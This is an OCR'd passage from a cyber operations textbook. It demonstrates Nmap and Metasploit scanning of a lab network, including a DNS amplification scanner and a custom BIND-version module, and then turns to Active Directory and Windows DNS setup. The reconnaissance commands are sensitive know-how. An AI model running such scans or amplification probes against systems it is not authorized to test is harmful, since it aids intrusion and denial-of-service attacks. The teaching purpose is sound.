22/tcp open ssh syn-ack ttl 64 OpenSSH 5.3p1 Debian 3ubuntu3 (Ubuntu Linux;
protocol 2.0)

MAC Address: 08:00:27:B9:1B:F2 (Oracle VirtualBox virtual NIC)
Service Info: 0S: Linux; CPE: cpe:/o:1linux:linux_kernel

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

Although the operating system detection was not able to determine the operating system
version, the service version detection could determine the version of the OpenSSH server running;
this would let a user make a reasonable guess as to the operating system, which was Ubuntu 10.04.

NMap: Scripts

NMap comes with more than 550 scripts that extend its functionality. Each script is classified into
one or more categories, including “default,” “safe,” “discovery,” “version,” “intrusive,” and “malware.”
On a Kali system, these scripts are in the directory /usr/share/nmap/scripts. When run with the
option -sC, NMap runs 100 default scripts in the scan. Not all these scripts are considered “safe”

though, and many are intrusive. To run just the safe default ones, the command is

root@kali-2016-2-u:~# nmap -reason --script "default and safe" 10.0.6.130
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:25 EDT

Nmap scan report for 10.0.6.130

Host is up, received arp-response (0.00046s latency).
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Not shown: 993 filtered ports

Reason: 993 no-responses

PORT STATE SERVICE REASON

135/tcp  open msrpc syn-ack ttl 128

139/tcp  open netbios-ssn  syn-ack ttl 128

445/tcp  open microsoft-ds syn-ack ttl 128

3389/tcp open ms-wbt-server syn-ack ttl 128

| ssl-cert: Subject: commonName=phoebe.corp.saturn.test
| Not valid before: 2017-03-04T17:47:25

| Not valid after: 2017-09-03T17:47:25

5357/tcp open wsdapi syn-ack ttl 128
49153/tcp open unknown syn-ack ttl 128
49154/tcp open unknown syn-ack ttl 128

MAC Address: 08:00:27:CF:03:EB (Oracle VirtualBox virtual NIC)

Host script results:
| clock-skew: mean: 1s, deviation: 0s, median: 1s

SCANNING THE NETWORK

| nbstat: NetBIOS name: PHOEBE, NetBIOS user: <unknown>, NetBIOS MAC:

08:00:27:cf:03:eb (Oracle VirtualBox virtual NIC)
smb-os-discovery:

0S: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

|

|

| 0S CPE: cpe:/o:microsoft:windows 7::spi:professional
|  Computer name: phoebe

|  NetBIOS computer name: PHOEBE\x00

|  Domain name: corp.saturn.test

|  Forest name: corp.saturn.test

|  FQODN: phoebe.corp.saturn.test

| System time: 2017-06-09T22:25:32-04:00
| smb-security-mode:

|  account used: <blank>

| authentication level: user

| challenge response: supported

| message signing: disabled (dangerous, but default)
| smbv2-enabled: Server supports SMBv2 protocol

Nmap done: 1 IP address (1 host up) scanned in 52.50 seconds

In this example, NMap reports the results from five additional scripts (ss1-cert, clock-skew,
nbtstat, smb-security-mode, and smbv2-enabled). The nbtstat script correctly able determined
the operating system and service pack (Windows 7 SP1). Earlier when NMap was run with the
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-0 option to determine the operating system of the same target, NMap listed a wide range of
possibilities.
Additional information about any script is available from the command line

root@kali-2016-2-u:~# nmap --script-help nbstat
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-09 22:36 EDT

nbstat
Categories: default discovery safe
https://nmap.org/nsedoc/scripts/nbstat.html

Attempts to retrieve the target's NetBIOS names and MAC address.

By default, the script displays the name of the computer and the
logged-in user; if the verbosity is turned up, it displays all names the system
thinks it owns.

More information about each script is available in the online documentation at http://
nmap.org/nsedoc/; this includes the script’s arguments, an example use case for the script, and a
sample set of output.

NMap scripts and scans may be detected by security appliances, which may automatically
block traffic from the source.

The nmap option -A (agressive scan) combines operating system scan (-0), version scanning
(-sV), script scanning (-sC), and runs traceroute.

Zenmap

Zenmap (Figure 5-1) is a graphical front end for NMap. On a Kali system, it can be found by
navigating Applications » 01 » Information Gathering » zenmap; it can also be launched from
the terminal via zenmap.
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Zenmap e ® O
Scan Tools Profile Help
Target: !10.0.6.0.&4 v | Profile: |Intense scan v | [scan| [Gancel|
Command: |nmap -T4 -A -v 10.0.6.0/24
| Hosts ” Services Nmap Output Ports / Hosts  Topology Host Details | Scans
OS | Host v V phoebe.corp.saturn.test (10.0.6.130) a
-%1 _ cassini.corp.satum.test (10.0.6.120) ¥V Host Status
=71 fitan.corp.satumn.test (10.0.6.126) State: 4 / 1
Open ports: ] 1

phoebe.corp.satumn.test (10.0.6.130)

Fittered ports: 992
Closed ports: 0
Scanned ports: 1000

S |
A kiviug.corp.saturn.test (10.0.6.136)
A ijiraq.corp.saturn.test (10.0.6.144)

Up time: 1398

Last boot: Sat Jun 10 08:47:54 2017
V Addresses

IPv4:  10.0.6.130

IPv6:  Not available
MAC: 08:00:27:CF:0%EB

¥V Hostnames
Name - Type: phoebe.corp.saturn.test - PTR

¥ Operating System
Name: Microsoft Windows Server 2008 R2 or Windows 8.1

P Ports used
Filter Hosts ] ¥

Figure 5-1. Zenmap 7.40 shown on Kali

Network Scanning and Metasploit

NMap can be run from within Metasploit.

msf > nmap 10.0.6.136
[*] exec: nmap 10.0.6.136

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-10 11:08 EDT
Nmap scan report for kiviuq.corp.saturn.test (10.0.6.136)

Host is up (0.000070s latency).

Not shown: 999 closed ports

PORT  STATE SERVICE

22/tcp open ssh

MAC Address: 08:00:27:B9:1B:F2 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds

However, all this does is call NMap as an external tool, run it, and display the results on the screen.
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Metasploit Database

Metasploit saves its results in a database organized into workspaces. The Metasploit command
workspace lists the available workspaces. Unless a new workspace is specified, results are stored
in the default workspace. New workspaces are created by using the workspace command with the
-a option; workspaces are deleted with the -d option. If the default workspace is deleted, it will be
re-created as an empty workspace, allowing the user an easy way to clear it. A user can create the
workspace named saturn with the Metasploit command.

mst > workspace -a saturn
[*] Added workspace: saturn

This becomes the current running workspace. The attacker can get an overview of the
contents of the currently available workspaces with the command

mst > workspace -v

Workspaces

current name hosts services vulns creds loots notes
default 41 8 46 56 49 36
mars 7 12 1 0 9 10
mysql 4 4 0 1 0 0

* saturn 0 0 0 0 0 0

It is possible to store the result of an NMap scan NMap’s -oX and then import it into
Metasploit through the db_import command. The command db_nmap runs an NMap scan, but it
also stores the results in the database for future use without the hassle of creating and loading a
temporary intermediate file. Here is the same scan run earlier, but now run within Metasploit.

msf > db_nmap -0 -sV --script "default and safe" 10.0.6.0/24
[*] Nmap: Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-10 11:10 EDT

[*] Nmap: Nmap scan report for cassini.corp.saturn.test (10.0.6.120)

[*] Nmap: Host is up (0.00023s latency).

[*] Nmap: Not shown: 983 filtered ports

[*] Nmap: PORT STATE SERVICE VERSION

[*] Nmap: 53/tcp open domain Microsoft DNS

[*] Nmap: 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
2017-06-10 15:11:147)

[*] Nmap: 135/tcp  open msrpc Microsoft Windows RPC

*
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[*] Nmap: 139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
[*] Nmap: 389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: corp.saturn.test, Site: Default-First-Site-Name)

... Output Deleted ...

Once the scan is complete, the hosts command can be used to query the database. For
example, to list the address, hostname, operating system name, version, and service pack, along
with the state of the system of known systems, run

mst > hosts -c address,name,os_name,os_flavor,os_sp,state

Hosts

address name 0S_name os_flavor os_sp state
10.0.6.120 cassini.corp.saturn.test Windows 2012 alive
10.0.6.126 titan.corp.saturn.test Windows 2008 alive
10.0.6.130 phoebe.corp.saturn.test Windows 2008 alive
10.0.6.136 kiviuq.corp.saturn.test  Linux 2.6.X alive
10.0.6.144 1ijiraq.corp.saturn.test  Linux 3.X alive

The list of known services is found with the services command.

msf > services

Services
host port proto name state info
10.0.6.120 53 tcp  domain open Microsoft DNS

10.0.6.120 88 tcp kerberos-sec open Microsoft Windows Kerberos
server time: 2017-06-10

15:11:147
10.0.6.120 135 tcp msrpc open Microsoft Windows RPC
10.0.6.120 139 tcp netbios-ssn  open Microsoft Windows netbios-ssn
10.0.6.120 389 tcp ldap open Microsoft Windows Active

Directory LDAP Domain:
corp.saturn.test, Site:
Default-First-Site-Name

10.0.6.120 445 tcp microsoft-ds open Windows Server 2012 R2 Standard
9600 microsoft-ds workgroup:
CORP

... Output Deleted ...
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Additional options for both the hosts and services command can be found by running
either with the -h option. One very useful option is -S, which searches the database for the
provided keywords. If coupled with the -R option, the list of all IP addresses matching the
search criterion are automatically stored in the variable RHOSTS. For example, to search the
database for all hosts running an SSH server and store the results in the RHOSTS variable, run the
command:

msf > services -S ssh -R

Services

host port proto name state info

10.0.6.136 22 tcp ssh  open  OpenSSH 5.3p1 Debian 3ubuntu3 Ubuntu
Linux; protocol 2.0

10.0.6.144 22 tcp ssh  open  OpenSSH 7.2p2 Ubuntu 4 Ubuntu Linux;
protocol 2.0

RHOSTS => 10.0.6.136 10.0.6.144

Metasploit Scanning Modules

In addition to NMap integration, Metasploit also provides several stand-alone port-scanning
modules located under auxiliary/scanner/portscan; these include auxiliary/scanner/
portscan/tcp, which act much like NMap TCP connect scans. Other choices include an ack scan,
an ftp bounce scan, and a XMAS scan.

Metasploit has additional modules for special scanning. For example, Metasploit has a
scanner module to search for targets for DNS amplification attacks, named auxiliary/scanner/
dns/dns_amp.

mst > use auxiliary/scanner/dns/dns_amp
msf auxiliary(scanner/dns/dns_amp) > info

Name: DNS Amplification Scanner
Module: auxiliary/scanner/dns/dns_amp
License: Metasploit Framework License (BSD)
Rank: Normal

. Output Deleted ...

230



CHAPTER 5  SCANNING THE NETWORK

Basic options:

Name Setting Required Description

BATCHSIZE 256 yes The number of hosts to probe in each set
DOMAINNAME isc.org yes Domain to use for the DNS request

FILTER no The filter string for capturing traffic
INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process
QUERYTYPE  ANY yes Query type(A, NS, SOA, MX, TXT, AAAA, RRSIG,

DNSKEY, ANY)

RHOSTS yes The target address range or CIDR identifier
RPORT 53 yes The target port (UDP)

SNAPLEN 65535 yes The number of bytes to capture

THREADS 10 yes The number of concurrent threads

TIMEOUT 500 yes The number of seconds to wait for new data
Description:

This module can be used to discover DNS servers which expose
recursive name lookups which can be used in an amplification attack
against a third party.

... Output Deleted ...

msf auxiliary(scanner/dns/dns amp) > set rhosts 10.0.4.10 10.0.4.11 10.0.4.13
rhosts => 10.0.4.10 10.0.4.11 10.0.4.13

msf auxiliary(scanner/dns/dns_amp) > set domainname google.com

domainname => google.com

msf auxiliary(scanner/dns/dns_amp) > exploit

[*] Sending DNS probes to 10.0.4.10->10.0.4.13 (3 hosts)

[*] Sending 70 bytes to each host using the IN ANY google.com request
[*] 10.0.4.10:53 - Recursion not allowed

[+] 10.0.4.13:53 - Response is 529 bytes [7.56x Amplification]

[*] Scanned 3 of 3 hosts (100% complete)

[*] Auxiliary module execution completed

This scan shows that one of these three nameservers can be used in a DNS amplification
attack, resulting in a more than seven-fold increase in the amount of data transferred.
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Custom Metasploit Modules

Skill in cyber operations is about more than being able to use existing tools; practitioners need to
be able to write customized tools to fit particular needs. Metasploit is written in Ruby and can be
expanded with new features.

Chapter 4 showed how to use DNS queries to determine the version of a BIND server. To
build a custom Metasploit module that implements this feature, consider the Ruby script of
Listing 5-1.

Listing 5-1. Ruby code dns_bind ver.rb; this is a Metasploit module to scan a BIND
DNS server for its version

require 'msf/core’
require 'net/dns/resolver’

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report

def initialize

super (
"'Name' => 'Simple BIND Version Scanner',
"Version' => '$Revision: 1 $',
'Description’ => 'Queries a BIND server for its version',
"Author’ => 'Student’,
'"License’ => MSF_LICENSE
)

register_options(
[
OptAddress.new('RHOST', [ true, "Specify the target nameserver" 1)
], self.class)
end

def run
print_status("Running Scan against #{datastore[ 'RHOST']}")
@res = Net::DNS::Resolver.new()
@res.nameserver=(datastore[ 'RHOST'])
query = @res.send("version.bind","TXT","CH")
if(query)
query.answer.each do |rr|
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print_good("Reported BIND version = #{rr.txt}")
end
end
end
end

The script begins by loading some core Metasploit functions and a DNS library. The class
structure follows Metasploit designs and the documentation at http://www.offensive-
security.com/metasploit-unleashed/Writing Your Own_Scanner. The only option is RHOST for
the IP address of the target nameserver, and this data is required.

The run method begins by letting the user know the module has started. Next, it creates
an instance of the Resolver class and then passes the IP address of the target nameserver. The
Resolver class is one of the Metasploit libraries, and it source code can be found on their GitHub
repository at https://github.com/rapid7/metasploit-framework/blob/master/lib/net/dns/
resolver.rb. A query is constructed and sent; the query sent is of class CH (rather than IN), and
it looks for the TXT information labeled version.bind; this is the same query used in Chapter 4 in
the discussion of dig. The module reports back to the user each record returned in the query.

Store the script in the directory /usr/share/metasploit-framework/modules/auxiliary/
scanner/dns/bind_ver.rb; this places it within the collection of Metasploit scripts. Provided it is
in place when Metasploit is started, it too can be used like any other Metasploit module.

root@kali-2016-2-u:~# msfconsole -q
mst > use auxiliary/scanner/dns/dns_bind_ver
msf auxiliary(dns_bind ver) > info

Name: Simple BIND Version Scanner
Module: auxiliary/scanner/dns/dns_bind_ver
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Student

Basic options:
Name  Current Setting Required Description

RHOST yes Specify the target nameserver

Description:
Queries a BIND server for its version

msf auxiliary(dns_bind_ver) > set rhost 10.0.4.11
rhost => 10.0.4.11
msf auxiliary(dns_bind ver) > exploit
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[*] Running Scan against 10.0.4.11
[+] Reported BIND version = 9.9.2-P1
[*] Auxiliary module execution completed

Notes and References

The online documentation for NMap at http://nmap.org/ is excellent. A must-have book is

e Nmap Network Scanning: The Official Nmap Project Guide to Network
Discovery and Security Scanning, Gordon “Fyodor” Lyon. The NMap Project,
January 2009.

Another useful book is
e Nmap 6 Cookbook: The Fat-free Guide to Network Scanning, Nicholas Marsh.
CreateSpace Independent Publishing Platform, February 2015.

This is a little bit more like a cookbook (hence the title) with recipes for common activities.
Though less detailed than Fyodor’s text, it is valuable.
The InfoSec Institute has an online three-part series on NMap that is also well worth reading.

e http://resources.infosecinstitute.com/nmap-cheat-sheet/

e http://resources.infosecinstitute.com/nmap-cheat-sheet-discovery-
exploits-part-2-advance-port-scanning-nmap-custom-idle-scan/

e http://resources.infosecinstitute.com/nmap-cheat-sheet-discovery-
exploits-part-3-gathering-additional-information-host-network-2/

For more information on how to create a custom Metasploit module, try Chapter 3 of the
book

e  Metasploit: The Penetration Tester’s Guide, David Kennedy, Jim O’Gorman,

Devon Kearns, and Mati Aharoni. No Starch Press, July 2011.

The documentation on the Metasploit GitHub at https://github.com/rapid7/metasploit-
framework/wiki/How-to-get-started-with-writing-an-auxiliary-module is also helpful.
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CHAPTER 6

Active Directory

Introduction

Active Directory is a database of users, groups, computers, printers, and other objects. Windows
uses Active Directory to organize the objects together into domains and larger forests. These are
managed by domain controllers. Common platforms for domain controllers include Windows
Server 2008 R2, Windows Server 2012, Windows Server 2012 R2, and Windows Server 2016.

This chapter introduces Active Directory, beginning with the process to install Active
Directory components on Windows servers and promote them to domain controllers. Test
domains are developed that not only include Windows systems but incorporate Linux systems
using PowerBroker Open. Active Directory relies on Windows DNS, which can interact with BIND
DNS servers. PowerShell scripts can be used to manage a domain; the chapter demonstrates a
script to add domain users. Groups and organizational units allow domain administrators to
delegate authority and apply group policy. The chapter includes an example of a group policy
that restricts the directories in which users can run executable programs.

Installation

The process to configure a Windows server as the first domain controller for a domain is similar,
whether the server runs Windows Server 2008 R2, 2012, 2012 R2, or 2016. In this example, no
existing infrastructure is assumed present - no existing domain, no forest, and no existing DNS
servers. Active Directory is installed first. When complete, the system is promoted to a domain
controller, installing DNS in the process.

Installation on Windows Server 2012 and Later

To install Active Directory on Windows Server 2012 or later, from Server Manager (Figure 6-1),
select Add Roles and Features. Choose “Role-based or feature-based installation.” Server
Manager allows an administrator to manage both local and remote servers; since this is

the first domain controller for the domain, select the local system as the destination for

the installation. From the list of server roles, select Active Directory Domain Services.
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This requires additional features to be installed, including the Active Directory module for
Windows PowerShell; these are automatically selected. No additional features are necessary
for the server at this stage. The wizard continues with a confirmation prompt before it is
ready to begin the installation.

« Dashboard @ Manage Tools

i Dashboard - WELCOME TO SERVER MANAGER

B Local Server

ii All Servers

0 Configure this local server

g File and Storage Services b

QUICK START

2 Add roles and features

3 Add other servers to manage

WHAT'S NEW
4 Create a server group
Hide
LEARN MORE
ROLES AND SERVER GROUPS
Roles:1 | Servergroups:1 | Servers total: 1

Figure 6-1. Windows Server 2012 R2 Server Manager

When the installation is complete, Server Manager shows a new role, AD DS, and a
notification flag. From the notification flag, select the option to promote the server to a domain
controller. The same option is available if the AD DS role is selected from the navigation pane in
Server Manager; a warning notification appears indicating that configuration is required for the
system and letting the user promote the system to a domain controller. In either case, the Active
Directory Domain Services Wizard (Figure 6-2) launches.
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. . TARGET SERVER
Deployment Configuration cassinisaturn.test

Deployment Configuration N
= = Select the deployment operation
Domain Controller Options ) . )
(O Add a domain controller to an existing domain

() Add a new domain to an existing forest
Paths ® Add a new forest

Review Options

Additional Opticns

Specify the domain information for this operation
Prerequisites Check

Root domain name: corp.saturn.test

More about deployment configurations

| < Previous i ’ Next > | Install |[ Cancel I

Figure 6-2. Windows Server 2012 R2 Active Directory Domain Services Configuration
Wizard

From the wizard, select the option to add a new forest. In this example, the server is named
cassini.saturn.test, and the root domain name is corp.saturn.test.

When selecting the name for the domain, do not use the top-level domain name .example.
Windows Server 2012, 2012 R2, and 2016 are unable to create DNS forward zones for this
namespace; they report the name as invalid. These systems are also unable to create conditional
forwarders to the .example domain. This problem does not occur on Windows Server 2008 R2.

Select the functional level of the forest and the domain. Servers older than the functional
level of the forest cannot join the forest, and servers older than the functional level of the domain
cannot join the domain. Because the intent of this example is to replicate servers as deployed
between 2011 and 2017, Windows Server 2012 is a reasonable choice as the functional level
for both the forest and the domain. The functional level of a domain can be changed after the
domain has been created. From Server Manager, navigate Tools » Active Directory Domains and
Trusts. Select the domain, right-click, and select Raise domain functional level.

Directory Services Restore Mode (DSRM) is one of the options when booting a domain
controller in safe mode. Since a system in restore mode does not have access to the Active Directory
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database, the DSRM password is used to authenticate the user logging in at the terminal. This
password should be kept secure; a user with this password and physical access to the system has
complete access to the Active Directory database.

Because this example does not assume an existing DNS structure, the domain controller needs
to add DNS capabilities; this is marked for installation by default. As the wizard continues, a warning
box appears saying, “A delegation for this DNS server cannot be created because the authoritative
parent zone cannot be found or it does not run Windows DNS server” During the DNS server
installation process, the server tries to contact DNS servers for the parent zone and set up a delegation
for the new server. In this example, there is no parent DNS server, so this message is expected.

The wizard continues and presents a candidate NetBIOS name for the domain. NetBIOS
names are 15 characters or less, and they are usually capitalized.

The Active Directory data file (ntds.dit), the log file (edb. log), and other working files are
stored in the database directory or the log file directory; in both cases the default is C: \Windows\
NTDS. Group policy files and various scripts are stored in the SYSVOL folder, by default in the
directory C: \Windows\SYSVOL.

The wizard reviews the options and checks prerequisites. Two warnings are expected. One
refers to the already noted inability to create a delegation zone on the parent DNS server; the
second points out that the weaker cryptography algorithms are disallowed. Press the install
button to complete the promotion of the server to a domain controller. The system reboots during
the installation.

Once the system reboots, it is a domain controller and a DNS server. The installation process
changes the default nameserver for the system; a check of the network adapter settings shows that the
preferred nameserver becomes 127.0.0.1. Although the hostname remains unchanged, the system’s
domain changes to match the domain; the server originally named cassini.saturn.test for the
Windows domain corp.saturn.test becomes cassini.corp.saturn.test. This behavior is expected;
when setting a host’s name (System Properties » Computer Name » Change » More), the box to
automatically change the DNS suffix to match domain membership is checked by default (Figure 6-3).

DNS Suffix and NetBIOS Computer Name Gl |

Primary DNS suffix of this computer:
Icorp,satun.test |

[w] Change primary DNS suffix when domain membership changes

NetBIOS computer name:
|CASSINI

This name is used for interoperabilty with older computers and services.

Figure 6-3. Changing the DNS suffix on a Windows Server 2012 R2 system
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Installation on Windows Server 2008 R2

Some changes need to be made when using Windows Server 2008 R2. Instead of starting with

Server Manager, from the Initial Configuration Tasks window (Figure 6-4), select “Add Roles.”

From the list of roles, choose Active Directory Domain Services. The user is prompted to add the

required .NET 3.5.1 framework before it is ready to begin the installation.

=1olx|
ﬁ Perform the folowing tasks to configure this server ‘4. Windows Server 2006 =2
(& Provide Computer Information I] spectiing computerinfomation
\?\ Actvate Windows Product 1Dz 55041-554-6437796-84581 (Activated)
:k Set time zone Time Zone: (UTC-05:00) Eastem Time (US & Canada)
& Configure petworking Local Area Connection: 10.0.16.40, IPv6 enabled
* Provide computer name and domain Full Computer Name:  messenger
Workgroup: WORKGROUP
'(3’ Update This Server Hi Undating your Windows server
% Enable automatic updating and feedback Updates: Net configurad
Feedback: Windows Emor Reporting off
Not participating in Customer Bxperence Improvement Program
3 Downlcad and install updates Checked for Updates:  Never
Installed Updates: Never
R 2. 1 =1
€} Customize This Server HJ Customizing your server
Eﬁ Add roles Roles: None
f:; Add features Features: None
G
* Enable Remate Deskicp Remote Desktop: Disabled
i Corfiowe Vindows Frewal Firewalk Public: On
Prirt, e-mail, or gave this information
T~ Do not show this window at lagon _Ig"”

Figure 6-4. Windows Server 2008 R2 Initial Configuration Tasks

Once the installation completes, the wizard tells the user that the Active Directory Domain

Services Installation Wizard (dcpromo. exe) needs to be run. This is in the form of a clickable

hyperlink; the program can also be run directly from the Run menu or an Administrator

command prompt.

The Active Directory Domain Services Wizard functions in much the same way as it does for

Server 2012 and later. One caveat is that a Windows 2008 system with a static IPv4 address and a

dynamically assigned IPv6 address warns the user that a dynamically assigned address is present

on the system.
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Windows DNS

Windows Server uses DNS Manager to manage its DNS server. To launch it on Windows Server
2012, or later, from Server Manager select Tools, then navigate to DNS. It is also available directly
from the Start Menu on Windows Server 2012; on Windows Server 2016, 2012 R2, and 2008 R2, it
can be found by navigating the Start Menu to Administrative Tools.

From the navigation pane, expand the server name; there are four main subheadings: the forward
lookup zones, the reverse lookup zones, conditional forwarders, and global logs. Figure 6-5 shows the
result from an example Windows Server 2008 R2 system; the host’s name is galileo.ad. jupiter.
test, which is a domain controller for the domain ad. jupiter.test.

-loix]
Ble Action \iew Help
e 2mic=Henld 60
& ois Name [ Type | ata | Tmestamp
B GALLEC 1 _rmsdes
F [7] Forward Lookup Zones ) sites
B (2] _msdes.ad.jupiter. test B _tp
@ =3 -u‘h
& ] domains ") DomainDnsZones
g — :k ] ForestDnsZones
56 gmk’m ](same as parent folder)  Start of Authority (SOA)  [96], galileo.ad. jupiter. test,, hostma...  static
T;_; - -I' - ] (same as parent folder)  Name Server (NS) galleo.ad jupiter. test. static
B L] sites Elameasparent folder)  Host®) woeswo 9/7/2014 7:00:00PM__
800 o [galieo Host (A) 10.0.5. 100 static
B [ _udo
@ [] DomainDnsZones
@ (] ForestDnsZones
7| Reverse Lookup Zones
7] Conditional Forwarders
= Global L
@ 058 | | _'I
| | |

Figure 6-5. DNS Manager on Windows Server 2008 R2

The first forward lookup zone, msdcs.ad.jupiter.test, contains service location
records (SRV) that provide information about the domain. For example, navigate msdcs.
ad.jupiter.test » dc » tcp» ldap tolocate a SRV record that indicates that the LDAP
service is running on port TCP/389 on the server galileo.ad. jupiter.test.

The second forward lookup zone provides records for the namespace; in this example, this
isad.jupiter.test. Itincludes similar service location records, organized by Active Directory
site, protocol (TCP/UDP), domain, and forest. It also includes the start of authority (SOA),
nameserver (NS), and address records for the namespace.

To add a new address record to the forward lookup zone for the DNS domain ad. jupiter.
test, right-click on the DNS domain name, then select New Host to obtain the New Host dialog
box (Figure 6-6). Choose the host name and IP address; then select Add Host.

240



CHAPTER 6  ACTIVE DIRECTORY

x

Name (uses parent domain name if blank):
Iio

Fully qualified domain name (FQDN):
| io.ad.jupiter . test.,

IP address:
| 10.0.5.101]

[" Create assodated pointer (PTR) record

IV Allow any authenticated user to update DNS records with the
same owner name

Figure 6-6. Adding a new host on Windows Server 2008 R2

The user can add both the forward zone A record and the reverse zone PTR record in one
step. However, if this is done immediately after the server is configured, it fails. Although the
DNS server installation correctly configured its forward zone, it does not configure the reverse
zone. Right-click on the Reverse Lookup Zone from the navigation pane in DNS Manager, then
select New Zone to launch the New Zone Wizard (Figure 6-7). Create a primary zone storing the
result in Active Directory. Choose where it should be replicated - to all DNS servers in the forest
or all DNS servers in the domain. Specify the network for the reverse zone, either through the
ID or the zone name.

Windows Server, by default, allows for secure dynamic updates for DNS zones integrated with
Active Directory; systems can then update their own DNS record, and DHCP servers can update
PTR records.

When the reverse zone is created, it includes the start of authority and nameserver records;
it does not include pointer records, even for the domain controller itself. Add this record, as well
as the PTR records for any address records added earlier. Subsequent new hosts can add both the
address record and the pointer record at the same time, provided the appropriate box is checked;
see Figure 6-6.
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New Zone Wizard x|

Reverse Lookup Zone Name
A reverse lookup zone translates IP addresses into DNS names.

To identify the reverse lookup zone, type the network ID or the name of the zone.
%' Network ID:

|To.u 5

The network ID is the portion of the IP addresses that belongs to this zone, Enter the
network ID in its normal (not reversed) order.

If you use a zero in the network ID, it will appear in the zone name. For example,
network ID 10 would create zone 10.in-addr.arpa, and network ID 10.0 would create
zone 0. 10.in-addr.arpa.

" Reverse lookup zone name:
I 5.0.10.in-addr.arpa

< Back Next > Cancel

Figure 6-7. Creating a reverse lookup zone in Windows Server 2008 R2

Scripting Windows DNS

When many hosts need to be added to a DNS server, it is better to do so with a script. Suppose
that a list of host names and addresses is available in the file dns_data.txt from Listing 6-1.

Listing 6-1. Sample file dns_data.txt with DNS data for a network

101 io

102 europa
103 ganymede
104 callisto
105 amalthea
106 himalia
107 elara

... Output Deleted ...
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Suppose the user intends that the host io.ad. jupter.test receives the address 10.0.5.101,
the host europa.ad. jupiter.test receives the address 10.0.5.102, and so on. Consider the
Windows batch script in Listing 6-2.

Listing 6-2. Windows batch script DNS.bat to read a text file and add entries to a

Windows DNS server
@echo off

for /f "tokens=1,2" %%i in (dns_data.txt) do (
dnscmd /RecordAdd ad.jupiter.test %%j /CreatePTR A 10.0.5.%%1

By default, batch files echo each run command to the screen; the command @echo off
disables this. The script uses the for loop to read through the data in the in the file dns_data.txt.
Two tokens are specified; as the file is parsed, everything up to the first space or connected group
of spaces is stored in the variable %%i and what remains (up to the second space or connected
group of spaces) is stored in the variable %%j. The Windows command prompt provides help on
the use and syntax of for loops in a batch script through the command

C:\Users\Administrator>for /?
Runs a specified command for each file in a set of files.

FOR %variable IN (set) DO command [command-parameters]

%variable Specifies a single letter replaceable parameter.
(set) Specifies a set of one or more files. Wildcards may be used.
command Specifies the command to carry out for each file.
command-parameters

Specifies parameters or switches for the specified command.

To use the FOR command in a batch program, specify %%variable instead
... Output Deleted ...

The host name in the %%j variable and the last octet of the IP address, in the %%1 variable, are
passed to dnscmd. This is a command-line utility for managing DNS servers on Windows. The
/RecordAdd switch is used to add new records to a DNS zone. The first argument is the name of
the zone, and the second is the name of the record to be added. The /CreatePTR switch is used so
that both the forward zone and reverse zone entries are made. The command concludes with the
type of record - an A address record, and its value, the IP address of the host. More information
about the syntax of dnscmd is available by running it from the command line with the /? switch.
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Save the batch script as DNS.bat in the same directory as the data file dns_data.txt. Run the
script from the command line, and the hosts are added to the DNS server.

C:\Users\Administrator\Desktop>dns.bat

Add A Record for io.ad.jupiter.test at ad.jupiter.test
Command completed successfully.

Add A Record for europa.ad.jupiter.test at ad.jupiter.test
Command completed successfully.

... Output Deleted ...

DNS Configuration

A Windows DNS server can forward requests to different servers, either on a per-zone basis or
for all unknown requests. It can use stub zones or be configured as a slave to use data from other
servers; it can also use recursion. Windows servers include a robust logging system.

Conditional Forwarding and Server Forwarding

To forward requests for a DNS domain to a different server, from DNS Manager, select Conditional
Forwarders in the navigation pane, then right-click and select New Conditional Forwarder

(Figure 6-8). Enter the name of the DNS domain to be forwarded, and choose the IP address to
receive the forwarded requests.

The server may initially be unable to validate the server, as seen in Figure 6-8. Once the
forwarder is in place, from the navigation pane, right-click on the forwarder, select Properties,
then Edit. The server is listed as validated.

The process for forwarding reverse queries is the same, save now the domain is an
appropriate subdomain of . in-addr.arpa. For example, the appropriate reverse lookup zone for
10.0.5.0/24 isnamed 5.0.10. in-addr.azrpa.
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e G Foratiey [x1]

DNS Domain:

ad.jupiter.test |

IP addresses of the master servers:

IP Address Server FQDN Validated Delete
<Click here to add a...
@ 10.0.5.100 GALILEO The server with this IP... Up

o
=]

[ Store this conditional forwarder in Active Directory, and replicate it as follows:

[AII DNS servers in this forest v

4. This will not replicate to DNS servers that are pre-Windows Server 2003
=== domain controllers
Number of seconds before forward queries time out:

The server FQDN will not be available if the appropriate reverse lookup zones and entries are not
configured.

[ o | [ conce

Figure 6-8. Setting up a new conditional forwarder in Windows Server 2012 R2

Windows uses server-level forwarding for DNS domains not explicitly provided with a
conditional forwarder. From the navigation pane of the DNS Manager (Figure 6-5), right-click
on the name of the server, then select Properties. From the Forwarders tab, select one or more
forwarders; these are used for queries that the server cannot answer. If none of the forwarders can
answer the query, the server may use the root hints; this is the default behavior.

The root hints file can be updated from the Root Hints tab on the same Properties dialog box.
The root hints file itself is located on the server in C: \Windows\System32\Dns\Cache.dns and can
be replaced with an updated copy from http://www.iana.org/domains/root/files.

Recursion

Like BIND servers, by default, Windows DNS Server is vulnerable to DNS amplification attacks;
this can be verified with the Metasploit module auxiliary/scanner/dns/dns_amp as was done
in Chapter 5. To disable recursion, select the Advanced tab from the same Properties dialog box
(Figure 6-9); then select Disable recursion. This disables server-level forwarders but does not
disable zone-level conditional forwarders. It is not possible to disable recursion from some hosts
and allow it from other, presumably trusted hosts.
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QORT Properties ? X

Debug Logging Event Logging Monitoring Security
Interfaces Forwarders Advanced Root Hints

Server version number:
10.0 14393 (0x3839)

Server options:

["]Disable recursion (also disables forwarders)
[[]Enable BIND secondaries

[CJFail on load if bad zone data

¥|Enable round robin

[w|Enable netmask ordering

[w|Secure cache against poliution

Name checking: Muttibyte (UTF8) A4
Load zone data on startup: .FromActiveDiredoryandreg'ary v
